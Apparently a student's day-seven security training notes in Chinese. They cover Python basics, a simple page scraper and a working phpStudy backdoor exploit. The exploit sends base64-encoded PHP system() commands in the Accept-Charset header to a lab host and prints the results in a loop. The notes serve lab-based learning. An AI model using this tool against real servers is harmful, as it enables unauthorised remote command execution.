实训第七天
- 爬虫编写:网络上搜集各类信息的程序
网页爬虫:HTTP协议
实现路径:python+httpx(requests)库
- 学习python基础语言
编写输出星号的脚本(要求:编写一个底部具有11个星号的三角形)
for i in range(6): print(' ' * (6-i) + '*' * (2 * i + 1))
爬取百度首页html,写入本地的
baidu.html
文件中import httpx strURL = r"https://www.baidu.com/" strHTML = httpx.get(strURL).text strFile = r"./baidu.html" fp = open(strFile, 'w', encoding='utf-8') fp.write(strHTML)
编写脚本输出9*9乘法表
for i in range(1, 10): for j in range(1, i+1): print('{} * {} = {}\t'.format(i, j, i * j), end='') print('')
- 使用burpsuite在目标PHP网站上后门执行系统命令
- 了解httpx用法,学习requests文档
- 利用httpx模块,编写phpstudy后门利用工具
目标:要求能够循环接收用户系统命令输入,将返回的结果正常解码展示到屏幕上。
import httpx
from base64 import b64encode
strURL = r'http://192.168.7.138/shell.php'
while True:
cmd = input('请输入命令:')
if cmd == 'q':
print('结束exploitation')
break
strCommand = 'system("' + cmd + '");'
strB64Command = b64encode(strCommand.encode()).decode()
headers = {
'Accept-Encoding': 'gzip,deflate',
'Accept-Charset': strB64Command
}
strHTML = httpx.get(strURL, headers=headers).content.split(b'\n\xef\xbb\xbf')[0].decode('GB2312')
print(strHTML)
- 学习python正则表达式